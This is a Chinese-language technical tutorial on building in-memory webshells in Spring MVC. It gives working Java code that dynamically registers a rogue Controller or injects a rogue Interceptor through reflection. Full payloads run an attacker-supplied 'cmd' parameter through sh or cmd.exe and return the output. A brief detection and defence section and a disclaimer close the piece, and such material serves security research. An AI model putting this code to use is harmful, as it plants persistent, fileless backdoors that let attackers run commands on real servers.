Spring内存马——Controller/Interceptor构造
字数 1671 2025-08-25 22:58:28
Spring内存马——Controller/Interceptor构造技术文档
1. Spring框架基础
1.1 Spring核心组件
- IOC容器:负责实例化、定位、配置应用程序对象及建立对象依赖
- Core:处理对象间关系的方法
- Context:IOC容器,继承BeanFactory
- Bean:构成应用程序主干,由IOC容器统一管理
1.2 SpringMVC核心概念
- DispatcherServlet:前端控制器,根据URL pattern分发请求
- Controller:处理DispatcherServlet分发的请求
- Interceptor:类似于Filter,但基于反射实现,可访问IOC容器中的bean
2. 环境搭建
2.1 Maven依赖配置
<dependencies>
<!-- SpringMVC -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.21</version>
</dependency>
<!-- 日志 -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>
<!-- ServletAPI -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<!-- Thymeleaf整合包 -->
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
</dependencies>
2.2 web.xml配置
<servlet>
<servlet-name>DispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:SpringMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>DispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
2.3 SpringMVC.xml配置
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.0.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">
<mvc:annotation-driven/>
<context:component-scan base-package="org.example.springmvc" />
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
3. Controller内存马构造
3.1 获取WebApplicationContext的四种方法
- 通过ContextLoader获取
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
- 通过RequestContextHolder获取
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
- 直接从RequestContextHolder获取
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
- 反射获取
Field filed = Class.forName("org.springframework.context.support.LiveBeansView")
.getDeclaredField("applicationContexts");
filed.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)((LinkedHashSet)filed.get(null)).iterator().next();
3.2 模拟注册Controller的三种方式
方式1:直接注册RequestMapping
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 创建RequestMappingInfo
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 获取恶意Controller方法
Method method = InjectedController.class.getMethod("cmd");
// 注册映射
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
方式2:使用detectHandlerMethods注册
// 注册bean
context.getBeanFactory().registerSingleton("dynamicController",
Class.forName("org.example.springmvc.InjectedController").newInstance());
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 反射调用detectHandlerMethods
Method m1 = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
方式3:使用registerHandler注册(适用于旧版本)
// 注册bean
context.getBeanFactory().registerSingleton("dynamicController",
Class.forName("org.example.springmvc.InjectedController").newInstance());
// 获取DefaultAnnotationHandlerMapping
DefaultAnnotationHandlerMapping dh = context.getBean(DefaultAnnotationHandlerMapping.class);
// 反射调用registerHandler
Method m1 = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
3.3 恶意Controller示例
@RestController
public class InjectedController {
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} :
new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
4. Interceptor内存马构造
4.1 Interceptor与Filter的区别
| 特性 | Interceptor | Filter |
|---|---|---|
| 实现方式 | 基于反射 | 基于函数回调 |
| 依赖容器 | 不依赖servlet容器 | 依赖servlet容器 |
| 作用范围 | 只能对action请求有用 | 对所有请求有效 |
| 访问能力 | 可访问action上下文和栈里的对象 | 不能访问action上下文 |
| 调用次数 | 在action生命周期中可被多次调用 | 只在容器初始化时调用一次 |
| IOC访问 | 可获取IOC容器中的bean | 不能获取IOC容器中的bean |
4.2 Interceptor执行流程
preHandle()- 在控制器处理请求方法前执行ha.handle()- 执行controllerpostHandle()- 在控制器处理请求方法调用之后、解析视图之前执行afterCompletion()- 在视图渲染结束后执行
4.3 构造步骤
- 获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
- 反射获取adaptedInterceptors
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
- 添加恶意Interceptor
adaptInterceptors.add(new InjectEvilInterceptor());
4.4 恶意Interceptor示例
public class InjectInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} :
new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
// 其他方法可留空
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {}
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {}
}
5. 检测与防御
5.1 检测方法
-
Controller检测:
- 检查mappingRegistry中是否有异常URL映射
- 监控RequestMappingHandlerMapping的注册行为
-
Interceptor检测:
- 检查adaptedInterceptors列表
- 监控AbstractHandlerMapping的拦截器添加行为
5.2 防御措施
- 限制动态注册Controller和Interceptor的能力
- 实施运行时行为监控
- 定期检查IOC容器中的bean
- 使用安全框架如Spring Security进行防护
6. 总结
本文详细介绍了Spring框架中Controller和Interceptor内存马的构造技术,包括:
- Spring核心组件和工作原理
- 环境搭建和配置方法
- 获取WebApplicationContext的多种方式
- Controller内存马的三种注册方式
- Interceptor内存马的构造方法
- 检测和防御措施
这些技术可用于安全研究和防御体系建设,请勿用于非法用途。